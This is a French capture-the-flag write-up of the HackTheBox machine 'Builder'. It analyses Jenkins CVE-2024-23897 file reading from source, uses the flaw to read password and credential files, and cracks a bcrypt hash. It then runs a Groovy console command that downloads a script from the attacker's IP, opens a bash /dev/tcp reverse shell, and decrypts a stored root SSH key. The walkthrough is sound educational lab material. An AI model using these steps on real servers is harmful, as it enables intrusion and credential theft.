Builder - HackTheBox
On va découvrir Builder, une machine Linux de HackTheBox, voir comment fonctionne Jenkins, et entrer dans les détails de CVE-2024-23897 !
Je commence par ajouter une entrée au /etc/hosts
de ma machine afin de pouvoir utiliser un nom de domaine à la place de répéter l’IP à chaque fois.
1
10.10.11.10 builder.htb
Port scanning
On commence par un scan TCP rapide pour savoir avec quel services on peut essayer d’intéragir.
1
2
3
4
5
$ nmap -T4 -p- -v builder.htb
...
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
Je vérifierais les ports UDP et le service SSH seulement si il y a trop peu d’éléments intéressants ou si je tombe à court d’idées.
Service web
Vérification des versions
On va récupérer les headers du site pour avoir des informations sur la technologie utilisée.
1
2
3
4
5
6
7
$ curl -I http://builder.htb:8080
HTTP/1.1 200 OK
...
X-Jenkins: 2.441
X-Hudson-Theme: default
X-Hudson: 1.395
Server: Jetty(10.0.18)
Le flag
-I
permet d’uniquement afficher les headers HTTP
Le service est donc Jenkins 2.441. Jenkins est un outil DevOps qui permet de tester/déployer automatiquement une application après chaque changement dans un repository git. On peut donc supposer qu’un autre service doit être accessible depuis le réseau local.
Après une rapide recherche, on voit que la version 2.441 est vulnérable à CVE-2024-23897, qui permet de lire des fichiers du serveur à cause d’une fonctionalité de args4j, le parser utilisé pour les commandes émises depuis le CLI. Le parser va par défaut, remplacer les @
suivit d’un chemin de fichier, par le contenu du fichier. (Par exemple @/etc/passwd
).
Comprendre CVE-2024-23897
Jenkins peut-être utilisé depuis un client CLI, qui va aller faire des requêtes au serveur web. On va donc aller lire le code source du CLI pour comprendre comment il communique avec le serveur web, ce qui va nous permettre d’écrire l’exploit.
CLI côté client
Le CLI utilise son propore protocole qui peut se baser au choix, sur SSH, HTTP ou Websocket.
1
FullDuplexHttpStream streams = new FullDuplexHttpStream(new URL(url), "cli?remoting=false", factory.authorization);
Dans le cas de HTTP, il va se connecter à l’endpoint /cli
en ajoutant le paramètre remoting=false
. Dans notre cas ça donnera http://builder.htb:8080/cli?remoting=false
.
L’implémentation du CLI utilisant HTTP est plutôt créative. 2 connexion sont créées, chacune allant dans un sens unique, et sont reliée par un numéro de session, dans le but d’agir de manière similaire à WebSocket.
1
2
3
4
5
6
for (String arg : args) {
sendArg(arg);
}
sendEncoding(Charset.defaultCharset().name());
sendLocale(Locale.getDefault().toString());
sendStart();
Une fois la connexion établie, chaque commande donnée au CLI est envoyée, suivi de l’encoding du texte, de la langue, puis d’un signal.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public final void sendArg(String text) throws IOException {
send(Op.ARG, text);
}
public final void sendStart() throws IOException {
send(Op.START);
}
protected final void send(Op op, String text) throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
new DataOutputStream(buf).writeUTF(text);
send(op, buf.toByteArray());
}
...
protected final synchronized void send(Op op, byte[] chunk, int off, int len) throws IOException {
byte[] data = new byte[len + 1];
data[0] = (byte) op.ordinal();
System.arraycopy(chunk, off, data, 1, len);
out.send(data);
}
...
public void send(byte[] data) throws IOException {
dos.writeInt(data.length - 1); // not counting the opcode
dos.write(data);
dos.flush();
}
Chaque message démarre par int (4 bytes) indiquant la taille du message sans le byte indiquant l’opération, suivi du byte d’opération, puis la taille du texte sur 2 bytes, et enfin les bytes du texte.
Les 2 bytes indiquant la taille du texte sont ajoutés par DataOutputStream#writeUTF
Le message commence par les “argument” (le 1er étant le nom de la commande), puis de l’encoding, la langue, et on fini avec l’opération “start”.
On sait maintenant comment faire nous-même une requête CLI, ce qui va nous permettre d’écrire l’exploit.
CLI côté serveur
On doit maintenant trouver où nos messages sont parse, et où il sont utilisés (et surtout, où un de nos argument est répété dans une réponse).
Le début du message est parse manuellement pour récupérer l’opération, puis le reste est passé à la méthode correspondante à l’opération. Dans le cas de l’opération “ARG”, le 1er message doit être le nom de la commande, et les autres messages sont ensuite parse avec args4j avant d’exécuter la commande.
1
2
3
CmdLineParser p = getCmdLineParser();
p.parseArgument(args.toArray(new String[0]));
int res = run();
1
2
3
4
5
6
7
8
9
10
11
12
13
/**
* Boolean values to either allow or disallow parsing of @-prefixes.
* If a command line value starts with @, it is interpreted as being a file, loaded,
* and interpreted as if the file content would have been passed to the command line
*/
@SuppressFBWarnings(value = "MS_SHOULD_BE_FINAL", justification = "Accessible via System Groovy Scripts")
@Restricted(NoExternalUse.class)
public static boolean ALLOW_AT_SYNTAX = SystemProperties.getBoolean(CLICommand.class.getName() + ".allowAtSyntax");
protected CmdLineParser getCmdLineParser() {
ParserProperties properties = ParserProperties.defaults().withAtSyntax(ALLOW_AT_SYNTAX);
return new CmdLineParser(this, properties);
}
On remarque la modification des propriétés du parser pour désactiver par défaut la “syntaxe arobase”, qui est en lien avec la fonctionnalité qu’on cherche à exploiter. Ces quelques lignes ont été ajoutés après la découverte de la vulnérabilité, elle n’est donc pas présente dans la version 2.441
On n’a plus qu’à trouver où notre argument est répété !
Ma première idée est que notre argument pourrait être répété dans un message d’erreur. help
est une commande qui permet généralement d’avoir des information sur une commande donnée. Si la commande n’existe pas, il est probable qu’un message d’erreur répète notre fausse commande.
1
2
3
4
5
6
7
8
9
10
private int showCommandDetails() throws Exception {
CLICommand command = CLICommand.clone(this.command);
if (command == null) {
showAllCommands();
throw new AbortException(String.format("No such command %s. Available commands are above. ", this.command));
}
command.printUsage(stderr, command.getCmdLineParser());
return 0;
}
Notre fausse commande est effectivement répétée dans le message d’erreur, plus qu’à voir si elle nous est envoyé.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public int main(List<String> args, Locale locale, InputStream stdin, PrintStream stdout, PrintStream stderr) {
try {
...
int res = run();
...
} catch (AbortException e) {
logFailedCommandAndPrintExceptionErrorMessage(args, e);
return 5;
}
...
}
private void logFailedCommandAndPrintExceptionErrorMessage(List<String> args, Throwable e) {
String logMessage = String.format("Failed call to CLI command %s, with %d arguments, as user %s.", getName(), args.size(), auth != null ? auth.getName() : "<unknown>");
logAndPrintError(e, e.getMessage(), logMessage, Level.FINE);
}
private void logAndPrintError(Throwable e, String errorMessage, String logMessage, Level logLevel) {
LOGGER.log(logLevel, logMessage, e);
this.stderr.println();
this.stderr.println("ERROR: " + errorMessage);
}
Parfait ! Notre argument est parse avec args4j puis est répété dans un message d’erreur avant de nous êtes renvoyé ! Il y a probablement d’autres commandes qui répètent notre argument, mais pour l’instant on va rester sur help
et écrire notre exploit !
Exploiter un Local File Inclusion
Créer l’exploit
J’ai écris l’exploit en Python, en utilisant le protocole CLI basé sur HTTP (L’utilisation de WebSocket aurait probablement été plus simple, mais j’ai préféré le challenge d’utiliser l’implémentation créative qui est faite avec le protocole HTTP)
En essayant l’exploit utilisant help
, on voit qu’une seule ligne du fichier est affiché:
1
2
3
4
5
6
7
$ ./CVE-2024-23897.py -u "http://builder.htb:8080/" -p "/etc/passwd"
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
L’erreur Too many arguments
vient probablement du parser args4j. En essayant avec un fichier n’ayant qu’une seule ligne, on trouve le résultat attendu:
1
2
3
$ ./CVE-2024-23897.py -u "http://builder.htb:8080/" -p "/etc/hostname"
...
ERROR: No such command 0f52c222a4cc. Available commands are above.
On va donc chercher d’autres commandes qu’on pourrait utiliser, en espérant avoir les permissions nécessaire. En cherchant des boucles for
dans le code des commandes, on en trouve plusieurs qui itèrent à travers tous nos arguments. On essaye donc d’utiliser une de ces commande dans notre exploit, dans mon cas j’ai essayé avec connect-node
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
./CVE-2024-23897.py -u "http://builder.htb:8080/" -p "/etc/passwd"
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such agent "www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin" exists.
root:x:0:0:root:/root:/bin/bash: No such agent "root:x:0:0:root:/root:/bin/bash" exists.
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such agent "mail:x:8:8:mail:/var/mail:/usr/sbin/nologin" exists.
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such agent "backup:x:34:34:backup:/var/backups:/usr/sbin/nologin" exists.
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such agent "_apt:x:42:65534::/nonexistent:/usr/sbin/nologin" exists.
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such agent "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin" exists.
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such agent "lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin" exists.
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such agent "uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin" exists.
bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such agent "bin:x:2:2:bin:/bin:/usr/sbin/nologin" exists.
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such agent "news:x:9:9:news:/var/spool/news:/usr/sbin/nologin" exists.
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such agent "proxy:x:13:13:proxy:/bin:/usr/sbin/nologin" exists.
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such agent "irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin" exists.
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such agent "list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin" exists.
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such agent "jenkins:x:1000:1000::/var/jenkins_home:/bin/bash" exists.
games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such agent "games:x:5:60:games:/usr/games:/usr/sbin/nologin" exists.
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such agent "man:x:6:12:man:/var/cache/man:/usr/sbin/nologin" exists.
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such agent "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin" exists.
sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such agent "sys:x:3:3:sys:/dev:/usr/sbin/nologin" exists.
sync:x:4:65534:sync:/bin:/bin/sync: No such agent "sync:x:4:65534:sync:/bin:/bin/sync" exists.
ERROR: Error occurred while performing this command, see previous stderr output.
Et voilà ! On a tout le contenu de notre fichier, et on a visiblement la permission d’utiliser cette commande.
On a plus qu’a formatter la sortie pour garder seulement ce qui nous intéresse et l’exploit est fini !
Trouver les fichiers sensibles
Maintenant qu’on peut facilement lire n’importe quel fichier du serveur, on veut essayer de récupérer des informations et trouver des fichiers de configurations, variables d’environnement, clé SSH etc…
Dans certains cas, un LFI peut aussi envoyer des requêtes, et donc intéragir avec nous ou l’intranet, dans quel cas on utiliserais les même techniques qu’avec un SSRF.
Dans le rapport fait avec la découverte de CVE-2024-23897, une partie montre comment il est possible d’exploiter le LFI pour exécuter du code sur le serveur. Ici je ne vais pas utiliser tout de suite les techniques données, et plutôt chercher moi-même une manière de faire.
On commence assez simplement en récupérant des informations:
- /etc/passwd: La liste des utilisateurs et le chemin vers leurs home
- /etc/hostname: Le nom du serveur
- /etc/hosts: Le “DNS Local”
Ici on trouve un seul utilisateur (autre que root):
1
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash
Le fichier /etc/hosts
est assez important:
1
172.17.0.2 0f52c222a4cc
Avec ce genre de nom et d’IP, c’est pratiquement sûr que Jenkins est déployé dans un container Docker.
Le flag utilisateur se trouvant généralement dans un home, en essayant
/var/jenkins_home/user.txt
on trouve bel et bien le flag !
1
2
$ ./CVE-2024-23897.py -u "http://builder.htb:8080/" -p "/var/jenkins_home/user.txt"
95180fcbd4...
On va maintenant commencer à chercher des fichiers pouvant contenir des mots de passes ou des clés.
- /proc/self/environ: Les variables d’environnement du service web
- config.xml: Le fichier de configuration de Jenkins
- ~/.ssh/id_rsa: La clé SSH d’un utilisateur (rare, encore plus dans un container Docker)
- /proc/…/environ: Les variables d’environnement d’autres processus
Dans les variables d’environnement de Jenkins, on retrouve des informations qu’on avait déjà eu, comme le hostname ou le chemin d’installation de Jenkins.
Généralement, le dossier d’installation est aussi le dossier courant. Il est donc possible d’y accéder via le symlink
/proc/self/cwd/
!
1
<denyAnonymousReadAccess>false</denyAnonymousReadAccess>
Rien d’intéressant dans le fichier config. On peut tout de même noter cette option qui aurait probablement bloqué l’exploit, ou restreint son utilisation à la commande help
.
Après beaucoup de recherches sur internet, on apprend que les utilisateurs sont stockés par défaut dans /var/jenkins_home/users/
. Ce dossier comporte un fichier users.xml
qui contient la liste des utilisateurs.
1
2
3
<?xml version='1.1' encoding='UTF-8'?>
<string>jennifer_12108429903186576833</string>
...
En utilisant ce nom, on peut trouver le fichier de configuration de l’utilisateur ‘jennifer’ users/jennifer_12108429903186576833/config.yml
.
1
2
3
4
...
<emailAddress>jennifer@builder.htb</emailAddress>
...
<passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>
On va maintenant voir si ce mot de passe est un mot de passe vulnérable (fréquemment utilisé/trop simple) On reconnaît au début du hash la partie $2a$10$
qui s’apparente à un hash BCrypt qui a ici un coût de 10. (Ce qui correspond à 2 puissance 10 hashages)
En utilisant JohnTheRipper, on peut hash des mots de passe connus avec BCrypt afin de comparer le résultat au hash du mot de passe de Jennifer.
1
2
3
4
5
6
$ john hash_jennifer
...
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
princess (?)
1g 0:00:00:00 DONE 2/3 (2024-04-13 21:15)
Ça y est ! On a trouvé le mot de passe de jennifer. Le mot de passe étant probablement réutilisé, on va déjà essayer de se connecter en SSH avec ces identifiants.
1
2
3
$ ssh jennifer@builder.htb
jennifer@builder.htb's password:
Permission denied, please try again.
Après avoir utilisé d’autre nom d’utilisateurs probable comme root
, jenkins
, dev
etc, on peut conclure que ce n’est pas un mot de passe qui nous servira sur SSH. On va donc se connecter à Jenkins avec ses identifiants, pour voir ce qu’on peut trouver.
Sortir du container
Jennifer a accès à la configuration de Jenkins. Nous avons déjà les informations de configuration, mais on peut maintenant les modifier. On trouve un peu plus bas la “Script Console”, qui permet d’exécuter des scripts Groovy sur le serveur. On devrait facilement avoir une shell avec ça, ce qui va nous permettre de lister les fichiers et de faire des requêtes à l’intranet (qui possède probablement d’autres container docker).
1
2
3
println "id".execute().text
uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)
Parfait ! On va maintenant s’exécuter une shell pour que ça soit plus pratique à utiliser.
Après plusieurs essais, j’ai fini avec ces commandes:
1
2
println "curl http://10.10.14.236:8080/shell -o /tmp/shell".execute().text
println "bash /tmp/shell".execute().text
Le fichier shell contient simplement une reverse shell bash.
1
bash -i >& /dev/tcp/10.10.14.236/1234 0>&1
On peut maintenant spawn un tty avec script
avant de pouvoir le configurer avec stty
.
1
2
3
4
$ script -qc /bin/bash /dev/null
Ctrl+Z
(Hôte) $ stty raw -echo; fg
$ stty rows 42 cols 183
Ça y est, on peut commencer à explorer ce qu’on aurait pu rater avec le LFI.
En listant le contenu de /var/jenkins_home/
, on tombe directement sur credentials.xml
.
1
2
3
4
5
...
<username>root</username>
...
<privateKeySource class="com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey$DirectEntryPrivateKeySource">
<privateKey>{AQAAABAAAAowLrfCrZx9baWliwrtCiwCyztaYVoYdkP...
C’est exactement ce qu’on cherche ! C’est visiblement une clé privé SSH pour l’utilisateur “root”. Avec une rapide recherche, on trouve comment déchiffrer la clé.
1
2
3
4
println hudson.util.Secret.decrypt("{AQAAABAAAAowLrfCr...}")
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZ...
En enfin on peut utiliser cette clé pour se connecter en SSH à l’utilisateur root, et récupérer le dernier flag !
1
2
3
4
$ chmod 700 ssh_key
$ ssh -i ssh_key root@builder.htb
# cat root.txt
3ceb1775...
Merci d’avoir lu ! N’hésitez pas à me contacter pour la moindre question ou requête ! |